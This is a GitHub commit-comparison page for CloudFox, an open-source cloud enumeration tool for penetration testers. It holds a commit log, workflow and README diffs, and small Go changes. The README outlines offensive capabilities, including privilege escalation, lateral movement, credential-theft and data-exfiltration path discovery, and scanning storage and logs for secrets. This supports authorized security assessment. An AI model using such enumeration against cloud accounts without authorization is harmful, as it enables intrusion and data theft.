Compare commits

...
87 Commits
Author SHA1 Message Date
jbarciabf f65be085cd Merge pull request #138 from BishopFox/azure_improvements
Azure improvements and new modules
2026-11-02 08:22:04 -05:00
Bastien Faure 16320591ea Migrated parts of whoami into tokencache, stuffed existing whoami with entra ID discovery 2026-10-30 21:28:15 -04:00
Bastien Faure 5267f430b0 fix 2026-10-30 20:39:48 -04:00
Bastien Faure 4a63b18fd3 Updated automation in azure, use shared logger 2026-10-30 20:35:07 -04:00
Bastien Faure 0642b82438 Updated functions, use new logger 2026-10-30 20:34:38 -04:00
Bastien Faure e688d79ed2 Migrated azure commands to shared logger 2026-10-30 17:37:16 -04:00
Bastien Faure 2f0cfd7b1f Added Azure automation command 2026-10-29 23:55:08 -04:00
Bastien Faure e3a1803cce Added Azure Func module 2026-10-29 23:54:16 -04:00
Bastien Faure 6257da9391 Added ACR module for Azure 2026-10-29 23:51:47 -04:00
Bastien Faure d44899f213 Merge pull request #134 from sethsec/fix-region-slowness
Fix region slowness and hangs with opt-in/unreachable regions
2026-08-20 14:39:52 -04:00
Seth Art 29ab782b31 Fix region slowness and hangs with opt-in/unreachable regions
Commands were hanging for several minutes when run with low-privilege
credentials against accounts where opt-in regions (e.g. me-south-1)
are not enabled. Each unreachable region exhausted the full AWS SDK
retry budget (3 attempts × ~30s timeout) per service call, compounding
across every check in all-checks mode.

Three-part fix:

1. TCP reachability probe: Before making any API calls, probe
   sts.REGION.amazonaws.com:443 with a 3-second timeout. Unreachable
   regions are filtered out concurrently and cached for the run so the
   probe only happens once per region. This eliminates multi-minute
   stalls caused by regions that are not enabled for the account.

2. --max-retries flag: New persistent flag on the aws subcommand
   (default 3, matching prior behaviour). Setting --max-retries 0
   skips all retries, useful when running black-box against an account
   where most API calls will return 403/401 anyway.

3. Remove me-south-1 from the static fallback region list: This
   Bahrain opt-in region was the primary offender reported in issue
   #132. It is excluded from the hardcoded list so accounts that never
   opted in skip it entirely even before the TCP probe runs.

Also fixes a pre-existing bug in GetIamSimResult where a redundant
second isRoleAdminBool check after the cache-or-compute block would
overwrite a correct "YES" result from the cache with "No" (because
isRoleAdminBool stays false on a cache hit).

Fixes #132
2026-06-17 14:29:10 -04:00
jbarciabf ba4ff4701a Merge pull request #130 from BishopFox/fix/network-ports-map-race
Fix concurrent map access race in network-ports module and bump version to 2.0.5
2026-05-26 10:45:11 -04:00
jbarciabf 81be56e006 Bump version to 2.0.5 2026-05-26 10:42:29 -04:00
jbarciabf 494443d7ce Fix concurrent map access race in network-ports module (#129)
The NetworkPortsModule cached EC2 NACLs and Security Groups in two
per-region maps. The cache lookup read the maps without holding a
lock while the cache population path took a write lock, producing a
"concurrent map read and map write" runtime panic when multiple
region goroutines hit the cache check concurrently. The panic
reproduced reliably in low-density AWS accounts where every region
goroutine raced through the cache check at the same instant.

Take the read lock on the cache fast-path in both
getEC2NACLsPerRegion and getEC2SecurityGroupsPerRegion. Move
naclsMutex and securityGroupsMutex from package-level vars onto the
module struct so concurrent module instances stop serializing on
each other's locks.

Convert CommandCounter from plain int fields with naked ++/-- to
int64 fields with Incr/Decr/Load methods that use atomic.AddInt64
and atomic.LoadInt64 internally. Worker goroutines and the spinner
goroutine were updating and reading the same counters without
synchronization, producing torn integer writes that could show as
off-by-one progress in the spinner. Plain int64 storage keeps the
struct copyable so existing constructors and helpers that take
modules by value continue to vet-clean.

Add TestNetworkPortsCacheConcurrentAccess as a regression test.
With the read lock removed, "go test -race" reports the
mapaccess2_faststr read racing the locked write; with the fix in
place the test passes.
2026-05-26 10:36:17 -04:00
Joseph Barcia 3d3cfc6c0c Update GitHub Actions to Node 24 compatible versions
- actions/checkout v4 -> v6
- actions/setup-go v4 -> v5
- go-version ^1.20 -> ^1.25
- Replace abandoned marvinpinto/action-automatic-releases with
  softprops/action-gh-release v2

Node.js 20 actions are deprecated and will be forced to Node 24
starting June 2, 2026, and removed September 16, 2026.
2026-05-26 10:30:22 -04:00
jbarciabf 1b0925877d Merge pull request #127 from BishopFox/fix/pmapper-basepath-all-checks
Fix pmapper-data-basepath ignored in all-checks and instances race condition
2026-04-21 09:06:40 -04:00
Joseph Barcia 7727d1d08c Fix pmapper-data-basepath ignored in all-checks and race condition in instances module
The pmapperCommand in runAllChecksCommand was missing the
PmapperDataBasePath parameter, causing --pmapper-data-basepath to be
ignored for the pmapper module when running all-checks. (Fixes #105)

The instances module had a race condition where role analysis ran before
the receiver goroutine finished collecting all MappedInstances. This
caused IsAdminRole and CanPrivEscToAdmin columns to appear empty in
all-checks despite pmapper data being available. Fixed by signaling
the receiver to stop and waiting for it to drain before running role
analysis.

Version bumped to 2.0.4.
2026-04-21 13:06:11 +00:00
jbarciabf c7f81dc5cc Merge pull request #126 from mitre88/main
Fix --pmapper-data-basepath ignored in all-checks for EC2 user data module
2026-04-21 09:02:34 -04:00
Open Source Contributor 008fb84d23 Fix --pmapper-data-basepath ignored in all-checks for EC2 user data module
The EC2 user data InstancesModule in runAllChecksCommand was not receiving
the PmapperDataBasePath parameter, causing the --pmapper-data-basepath flag
to be ignored when running all-checks.

Fix: Add PmapperDataBasePath: PmapperDataBasePath to the ec2UserData struct
initialization in runAllChecksCommand.
2026-04-20 20:38:56 -06:00
jbarciabf 142757b5c2 Merge pull request #125 from BishopFox/fix/go-stdlib-vulnerabilities
Upgrade Go to 1.25.9, fix 24 stdlib vulnerabilities
2026-04-13 09:06:34 -04:00
Joseph Barcia 146034d619 Update AWS SDK to fix EventStream decoder panic (GHSA-xmrv-pmrh-hhx2)
Updates aws-sdk-go-v2/aws/protocol/eventstream to v1.7.8,
service/s3 to v1.97.3, service/lambda to v1.88.5, and
service/kinesis to v1.43.5.
2026-04-13 12:59:37 +00:00
Joseph Barcia 9e056b29d7 Update opentelemetry-go to v1.43.0 and go-jose to v4.1.4
Fixes CVE-2026-39883 (PATH hijacking in otel SDK) and
CVE-2026-34986 (panic in JWE decryption in go-jose).
2026-04-13 12:55:22 +00:00
Joseph Barcia 871491738b Upgrade Go to 1.25.9 and bump version to 2.0.3
Fixes 24 standard library vulnerabilities in crypto/tls, crypto/x509,
net/url, net/http, html/template, encoding/asn1, encoding/pem,
net/mail, net/textproto, os, and os/exec.
2026-04-12 18:16:58 +00:00
jbarciabf 033c953d57 Merge pull request #124 from BishopFox/version-bump-2.0.2
Bump version to 2.0.2
2026-04-12 13:49:44 -04:00
Joseph Barcia a7e45b9ae5 Bump version to 2.0.2 2026-04-12 17:47:40 +00:00
jbarciabf ce513ba04d Merge pull request #123 from sethsec/fix/awsservicemap-v1.1.0-service-slugs
Fix service slug mismatches for awsservicemap v1.1.0
2026-04-12 13:46:14 -04:00
Joseph Barcia 83f9af249d Update google.golang.org/grpc to v1.79.3 to fix GO-2026-4762
Fixes authorization bypass via missing leading slash in :path header.
2026-04-12 17:40:35 +00:00
Seth Art 11652a9a6e Fix service slug mismatches for awsservicemap v1.1.0 across all commands
awsservicemap v1.1.0 switched to URL-based service slugs, breaking all
commands that used the old identifiers. Affected slugs and their fixes:

  secretsmanager  -> secrets-manager   (resource-trusts, inventory)
  ssm             -> systems-manager   (inventory)
  elb             -> elasticloadbalancing (endpoints, inventory, network-ports)
  es              -> opensearch-service   (endpoints, inventory, resource-trusts)
  mq              -> amazon-mq            (endpoints, inventory)
  stepfunctions   -> step-functions       (inventory)
  sagemaker       -> sagemaker-ai         (env-vars)
  clouddirectory  -> directoryservice     (directory-services)
  kinesis         -> streams              (inventory)
  lightsail       -> amazonlightsail.com  (endpoints, env-vars, network-ports)

Each mismatch caused IsServiceInRegion to return false for all regions,
silently skipping enumeration of that service entirely.
2026-04-11 11:40:48 -04:00
Seth Art 6ac7a0bf6b Fix secrets command skipping all regions due to stale service slug names
awsservicemap v1.1.0 changed to a URL-based service identification format.
The secrets module was passing old-style slugs ("secretsmanager", "ssm") to
IsServiceInRegion, which never matched the new URL-derived slugs
("secrets-manager", "systems-manager"). This caused 0 tasks to be queued
and no secrets to be returned despite secrets existing in the account.
2026-04-11 11:40:48 -04:00
jbarciabf c6fcdba665 Merge pull request #122 from jbarciabf/fix/CVE-2026-24051
v2.0.1 - CVE-2026-24051 Fix
2026-03-09 10:10:46 -04:00
jbarciabf 4f2c2cb4c9 Bump go.opentelemetry.io/otel/sdk to v1.40.0 (CVE-2026-24051)
Fixes PATH hijacking vulnerability in the OTel Go SDK on macOS/Darwin.
2026-03-05 08:17:36 -05:00
jbarciabf db8a6895c3 Merge pull request #118 from prdngr/fix-privesc-false-positive
Fix false positive where GitHub Actions subject was not recognized
2026-03-04 09:18:59 -05:00
Dominik Prodinger 11763f04f6 Merge branch 'BishopFox:main' into fix-privesc-false-positive 2026-03-04 10:39:12 +01:00
Bastien Faure 0ba9e2d37f Merge pull request #121 from BishopFox/jb/gcp-dev
v2.0.0 - GCP Rewrite
2026-02-27 09:05:41 -05:00
jbarciabf a3d1c09558 fixed codespell referer error 2026-02-26 16:32:53 -05:00
jbarciabf a3b7ab4269 rename buckets -> storage 2026-02-26 15:01:18 -05:00
jbarciabf 60c6b8d61c added log-enum, bigquery-enum, bigtable-enum, spanner-enum to search for sensitive stored data 2026-02-26 12:55:50 -05:00
jbarciabf 8db014b136 updated foxmapper mappings 2026-02-21 14:12:23 -05:00
jbarciabf 72cd367086 fixed potential panics 2026-02-20 16:12:28 -05:00
jbarciabf f2d4b7c535 updated readme 2026-02-20 13:06:07 -05:00
jbarciabf 47d69d870f remove alias due to conflict 2026-02-20 12:59:43 -05:00
jbarciabf c9d1c2de68 normalized loot files and added additional commands 2026-02-20 11:59:20 -05:00
jbarciabf a8e802404f code cleanup 2026-02-20 08:31:44 -05:00
jbarciabf d021ea54de cleanup output, better streaming and file splitting 2026-02-19 18:17:24 -05:00
jbarciabf 7a18090609 removed attackpath and orgcache flags and enable by default 2026-02-16 15:17:04 -05:00
jbarciabf cb8be678e7 removed attack paths to use foxmapper instead 2026-02-15 23:02:27 -05:00
Dominik Prodinger 6f45cbe900 Fix false positive where GitHub Actions subject was not recognized 2026-02-09 12:19:05 +01:00
jbarciabf 8a248e3127 updated instances 2026-02-04 21:53:51 -05:00
jbarciabf de141300e9 fixed enumerate regions where permissions were sometimes denied 2026-02-04 20:35:44 -05:00
jbarciabf eb76d76dea physical cache instead of memory. 1st wave of cleanup 2026-02-04 14:15:16 -05:00
jbarciabf 72a551b38b centralized attackpath service and playbooks 2026-01-30 10:53:15 -05:00
jbarciabf 59bac4ee36 fixed whoami output and added new attack paths 2026-01-30 09:22:38 -05:00
jbarciabf 44bf8e8915 added attackpaths and loot 2026-01-29 16:16:17 -05:00
jbarciabf 70107c607f updated session handling 2026-01-23 10:52:42 -05:00
jbarciabf d24f817bf9 changed global all projects flag 2026-01-20 14:33:22 -05:00
jbarciabf 711e29e3bb updated readme permissions 2026-01-20 08:33:20 -05:00
jbarciabf 04bb167273 updated version number 2026-01-20 08:20:09 -05:00
jbarciabf ed732d0c01 migrated over to sdk and caching for standardization with aws modules 2026-01-19 15:35:39 -05:00
jbarciabf f82547b438 updated attackpath output 2026-01-16 11:36:25 -05:00
jbarciabf 35fca31475 updated whoami counts 2026-01-16 10:02:10 -05:00
jbarciabf 888649616f added attackpath flag 2026-01-16 00:32:45 -05:00
jbarciabf 2b272a1335 merged privesc, lat movemet, and data exfil into attack paths 2026-01-16 00:21:08 -05:00
jbarciabf c94996e470 added network diagrams 2026-01-15 21:39:46 -05:00
jbarciabf 2f80731e5b updated bucketenum to no limits and enumerate all 2026-01-15 20:36:11 -05:00
jbarciabf d473e31c06 updated privesc checks 2026-01-15 17:41:31 -05:00
jbarciabf baf62fdbb2 updated whoami for better privesc description 2026-01-15 14:38:59 -05:00
jbarciabf f3f98f24e3 add org tree 2026-01-15 13:51:19 -05:00
jbarciabf eedf397c93 created beautified ASCII tree view of the organization hierarchy 2026-01-15 08:02:49 -05:00
jbarciabf 31e2fe5fcb fixed privesc execution and output issues 2026-01-14 15:25:47 -05:00
jbarciabf 06a9dabf48 refactored output to be hierarchical, added privesc checks 2026-01-14 14:51:54 -05:00
jbarciabf ce545ca9ff updated dataexfil 2026-01-13 16:23:08 -05:00
jbarciabf 8954fc2a72 fixed permissions denied error 2026-01-13 15:37:53 -05:00
jbarciabf 7bb7d947ef fixed logging newline, more 400 errors, text formatting, and enhancements in dns, filestore, endpoints, and dataefil 2026-01-13 15:22:36 -05:00
jbarciabf 3c1213b0ff fixed cloudrun 400 error 2026-01-13 11:03:22 -05:00
jbarciabf fbc862aef1 updated readme 2026-01-12 21:38:31 -05:00
jbarciabf 8dddcc83d2 Merge remote-tracking branch 'upstream/main' into cloudfox-gcp-new 2026-01-12 21:25:22 -05:00
jbarciabf 36b45a64c5 rework 2026-01-12 21:08:19 -05:00
jbarciabf 333ca05a11 fixed error handling, added auto org detection for vpc, added features to whoami 2026-01-08 08:50:33 -05:00
jbarciabf 4a2444c05f Merge pull request #117 from BishopFox/readme-update
Update README.md
2026-01-05 09:05:08 -05:00
Seth Art c9edf8450b Update README.md 2026-01-05 09:03:09 -05:00
jbarciabf ec9a50ead1 fixed error handling 2026-01-04 09:46:15 -05:00
jbarciabf eae16c32b4 updated permission module 2025-12-30 13:54:10 -05:00
jbarciabf 0df2aa9240 updated to include all-projects and added project name to output 2025-12-30 13:32:16 -05:00
jbarciabf abf1543b3e added new modules 2025-12-30 09:38:32 -05:00
jbarciabf 69c9070009 updates 2025-12-28 15:23:44 -05:00
jbarciabf 8f6208d983 Merge remote-tracking branch 'upstream/main' into cloudfox-gcp-new 2025-12-17 14:52:35 -05:00
jbarciabf 83d9611732 init 2025-12-17 14:52:06 -05:00
212 changed files with 81602 additions and 2117 deletions

No files matched your search

+6 -9
View File
@@ -15,10 +15,10 @@ jobs:
steps:
- name: Go 1.21
uses: actions/setup-go@v4
- name: Go 1.25
uses: actions/setup-go@v5
with:
go-version: ^1.20
go-version: ^1.25
id: go
- id: install-secret-key
@@ -28,7 +28,7 @@ jobs:
gpg --list-secret-keys --keyid-format LONG
- name: Check Out Code
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -39,9 +39,6 @@ jobs:
- name: Release binaries
uses: "marvinpinto/action-automatic-releases@latest"
uses: softprops/action-gh-release@v2
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
files: |
./cloudfox/*
files: ./cloudfox/*
+2 -2
View File
@@ -11,6 +11,6 @@ jobs:
codespell:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- run: pip install --user codespell
- run: codespell --ignore-words-list="aks" --skip="*.sum"
- run: codespell --ignore-words-list="aks,referers,invokable" --skip="*.sum"
+4 -1
View File
@@ -62,8 +62,11 @@ terraform.rc
.DS_Store
untracked/*
*tmp*
tmp/*
output/*
*cloudfox-output*
cloudfox-*
cloudfox
*.log
*.bak
@@ -75,4 +78,4 @@ dist/
# graphvis files
*.gv
*.svg
*.svg
+123 -13
View File
@@ -1,6 +1,10 @@
# :fox_face: CloudFox :fox_face:
CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
> **CLOUDFOX UPDATE REQUIRED: (12/2025):** If you are using `cloudfox`, you need to use v1.17.0 or greater. All earlier versions [stopped working after a format change in AWS's public service mapping file](https://github.com/BishopFox/cloudfox/pull/109).
**Overview**
#### CloudFox helps you answer the following common questions (and many more):
* What regions is this AWS account using and roughly how many resources are in the account?
@@ -48,9 +52,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
| Provider| CloudFox Commands |
| - | - |
| AWS | 34 |
| Azure | 4 |
| GCP | 8 |
| AWS | 34 |
| Azure | 4 |
| GCP | 60 |
| Kubernetes | Support Planned |
@@ -102,7 +106,53 @@ Additional policy notes (as of 09/2022):
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
### Azure
* Viewer or similar permissions applied.
* Viewer or similar permissions applied.
### GCP
* Google Cloud SDK installed and authenticated
* Application Default Credentials configured (`gcloud auth application-default login`)
* Recommended permissions at appropriate hierarchy levels (see below)
#### GCP Permissions: Minimal vs Comprehensive
**Minimal Permissions (Single Project):**
For basic enumeration of a single project, the `roles/viewer` role provides read access to most resources (includes logging, monitoring, and compute/network viewing).
**Comprehensive Permissions (Organization-Wide):**
For thorough security assessments across an entire organization:
| Scope | Role | Purpose |
| - | - | - |
| **Organization** | `roles/resourcemanager.organizationViewer` | View organization structure and metadata |
| **Organization** | `roles/iam.securityReviewer` | Review IAM policies across the organization |
| **Organization** | `roles/cloudasset.viewer` | Query Cloud Asset Inventory for all resources |
| **Organization** | `roles/cloudidentity.groupsViewer` | Enumerate Google Groups and memberships |
| **Folder** | `roles/resourcemanager.folderViewer` | View folder hierarchy and metadata |
| **Project** | `roles/viewer` | Read access to most project resources (includes logging.viewer, monitoring.viewer, compute.viewer) |
| **Tooling Project** | `roles/serviceusage.serviceUsageAdmin` | (Optional) Manage API quotas for CloudFox operations |
> **Note:** The basic `roles/viewer` role includes permissions from `roles/logging.viewer`, `roles/monitoring.viewer`, and `roles/compute.networkViewer`, so these don't need to be granted separately.
#### GCP API Requirements
**APIs must be enabled in each project you want to assess.** GCP APIs are project-scoped.
| API | Service Name | Purpose |
| - | - | - |
| Cloud Identity API | `cloudidentity.googleapis.com` | Group enumeration, inherited role analysis |
| Cloud Asset API | `cloudasset.googleapis.com` | Cross-project resource discovery |
| Cloud Resource Manager API | `cloudresourcemanager.googleapis.com` | Organization mapping, IAM enumeration |
| IAM API | `iam.googleapis.com` | IAM analysis, privilege escalation detection |
| Compute Engine API | `compute.googleapis.com` | Instance enumeration, network security |
| Secret Manager API | `secretmanager.googleapis.com` | Secrets enumeration |
| Cloud Functions API | `cloudfunctions.googleapis.com` | Serverless enumeration |
| Cloud Run API | `run.googleapis.com` | Serverless enumeration |
| Kubernetes Engine API | `container.googleapis.com` | Container security analysis |
| BigQuery API | `bigquery.googleapis.com` | Data security analysis |
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
# AWS Commands
| Provider | Command Name | Description
@@ -155,22 +205,82 @@ Additional policy notes (as of 09/2022):
# GCP Commands
| Provider | Command Name | Description
For detailed documentation on each GCP command, see the [GCP Commands Wiki](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands).
| Provider | Command Name | Description
| - | - | - |
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display the email address of the GCP authenticated user |
| GCP | [all-checks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#all-checks) | Runs all available GCP commands |
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Display GCP artifact registry information |
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Display Bigquery datasets and tables information |
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) | Display GCP buckets information |
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Display GCP IAM information |
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Display GCP Compute Engine instances information |
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Display GCP secrets information |
| GCP | [whoami](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#whoami) | Display identity context for the authenticated GCP user/service account |
| GCP | [iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iam) | Enumerate GCP IAM principals across organizations, folders, and projects |
| GCP | [permissions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#permissions) | Enumerate ALL permissions for each IAM entity with full inheritance explosion |
| GCP | [serviceaccounts](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#serviceaccounts) | Enumerate GCP service accounts with security analysis |
| GCP | [service-agents](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#service-agents) | Enumerate Google-managed service agents |
| GCP | [keys](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#keys) | Enumerate all GCP keys (SA keys, HMAC keys, API keys) |
| GCP | [resource-iam](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#resource-iam) | Enumerate IAM policies on GCP resources (buckets, datasets, secrets, etc.) |
| GCP | [domain-wide-delegation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#domain-wide-delegation) | Find service accounts with Domain-Wide Delegation to Google Workspace |
| GCP | [privesc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#privesc) | Identify privilege escalation paths in GCP projects |
| GCP | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hidden-admins) | Identify principals who can modify IAM policies (hidden admins) |
| GCP | [identity-federation](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#identity-federation) | Enumerate Workload Identity Federation (external identities) |
| GCP | [instances](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#instances) | Enumerate GCP Compute Engine instances with security configuration |
| GCP | [gke](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#gke) | Enumerate GKE clusters with security analysis |
| GCP | [cloudrun](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudrun) | Enumerate Cloud Run services and jobs with security analysis |
| GCP | [functions](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#functions) | Enumerate GCP Cloud Functions with security analysis |
| GCP | [app-engine](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#app-engine) | Enumerate App Engine applications and security configurations |
| GCP | [composer](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#composer) | Enumerate Cloud Composer environments |
| GCP | [dataproc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataproc) | Enumerate Dataproc clusters |
| GCP | [dataflow](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dataflow) | Enumerate Dataflow jobs and pipelines |
| GCP | [notebooks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#notebooks) | Enumerate Vertex AI Workbench notebooks |
| GCP | [workload-identity](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#workload-identity) | Enumerate GKE Workload Identity and Workload Identity Federation |
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) | Quick resource inventory - works without Cloud Asset API |
| GCP | [storage](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage) | Enumerate GCP Cloud Storage buckets with security configuration |
| GCP | [storage-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#storage-enum) | Enumerate GCS buckets for sensitive files (credentials, secrets, configs) |
| GCP | [bigquery](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery) | Enumerate GCP BigQuery datasets and tables with security analysis |
| GCP | [cloudsql](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudsql) | Enumerate Cloud SQL instances with security analysis |
| GCP | [spanner](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner) | Enumerate Cloud Spanner instances and databases |
| GCP | [bigtable](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable) | Enumerate Cloud Bigtable instances and tables |
| GCP | [filestore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#filestore) | Enumerate Filestore NFS instances |
| GCP | [memorystore](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#memorystore) | Enumerate Memorystore (Redis) instances |
| GCP | [vpc-networks](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-networks) | Enumerate VPC Networks |
| GCP | [firewall](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#firewall) | Enumerate VPC networks and firewall rules with security analysis |
| GCP | [loadbalancers](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#loadbalancers) | Enumerate Load Balancers |
| GCP | [dns](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dns) | Enumerate Cloud DNS zones and records with security analysis |
| GCP | [endpoints](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#endpoints) | Enumerate all network endpoints (external and internal) with IPs, ports, and hostnames |
| GCP | [private-service-connect](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#private-service-connect) | Enumerate Private Service Connect endpoints and service attachments |
| GCP | [network-topology](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#network-topology) | Visualize VPC network topology, peering relationships, and trust boundaries |
| GCP | [vpc-sc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-sc) | Enumerate VPC Service Controls |
| GCP | [access-levels](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-levels) | Enumerate Access Context Manager access levels |
| GCP | [cloud-armor](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloud-armor) | Enumerate Cloud Armor security policies and find weaknesses |
| GCP | [iap](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iap) | Enumerate Identity-Aware Proxy configurations |
| GCP | [beyondcorp](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#beyondcorp) | Enumerate BeyondCorp Enterprise configurations |
| GCP | [kms](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#kms) | Enumerate Cloud KMS key rings and crypto keys with security analysis |
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Enumerate GCP Secret Manager secrets with security configuration |
| GCP | [cert-manager](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cert-manager) | Enumerate SSL/TLS certificates and find expiring or misconfigured certs |
| GCP | [org-policies](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#org-policies) | Enumerate organization policies and identify security weaknesses |
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Enumerate GCP Artifact Registry and Container Registry with security configuration |
| GCP | [cloudbuild](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudbuild) | Enumerate Cloud Build triggers and builds |
| GCP | [source-repos](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#source-repos) | Enumerate Cloud Source Repositories |
| GCP | [scheduler](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#scheduler) | Enumerate Cloud Scheduler jobs with security analysis |
| GCP | [pubsub](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#pubsub) | Enumerate Pub/Sub topics and subscriptions with security analysis |
| GCP | [logging](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging) | Enumerate Cloud Logging sinks and metrics with security analysis |
| GCP | [organizations](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#organizations) | Enumerate GCP organization hierarchy |
| GCP | [asset-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#asset-inventory) | Enumerate Cloud Asset Inventory with optional dependency analysis |
| GCP | [backup-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#backup-inventory) | Enumerate backup policies, protected resources, and identify backup gaps |
| GCP | [lateral-movement](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#lateral-movement) | Map lateral movement paths, credential theft vectors, and pivot opportunities |
| GCP | [data-exfiltration](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#data-exfiltration) | Identify data exfiltration paths, potential vectors, and missing security hardening |
| GCP | [public-access](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#public-access) | Find resources with allUsers/allAuthenticatedUsers access across 16 GCP services |
| GCP | [cross-project](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cross-project) | Analyze cross-project IAM bindings, logging sinks, and Pub/Sub exports for lateral movement |
| GCP | [foxmapper](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper) | Run FoxMapper (graph-based IAM analysis) for privilege escalation path discovery |
| GCP | [logging-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging-enum) | Scan Cloud Logging entries for sensitive data (credentials, tokens, PII) |
| GCP | [bigquery-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery-enum) | Scan BigQuery datasets, tables, and columns for sensitive data indicators |
| GCP | [bigtable-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable-enum) | Scan Bigtable instances, tables, and column families for sensitive data indicators |
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
# Authors
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
* [Seth Art (@sethsec](https://twitter.com/sethsec))
* Joseph Barcia
# Contributing
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
+2 -2
View File
@@ -161,7 +161,7 @@ func (m *AccessKeysModule) getAccessKeysForAllUsers() {
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
// added this to break out if there no users
@@ -171,7 +171,7 @@ func (m *AccessKeysModule) getAccessKeysForAllUsers() {
results, err := sdk.CachedIamListAccessKeys(m.IAMClient, aws.ToString(m.Caller.Account), aws.ToString(user.UserName))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+47 -47
View File
@@ -191,19 +191,19 @@ func (m *ApiGwModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayAPIsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
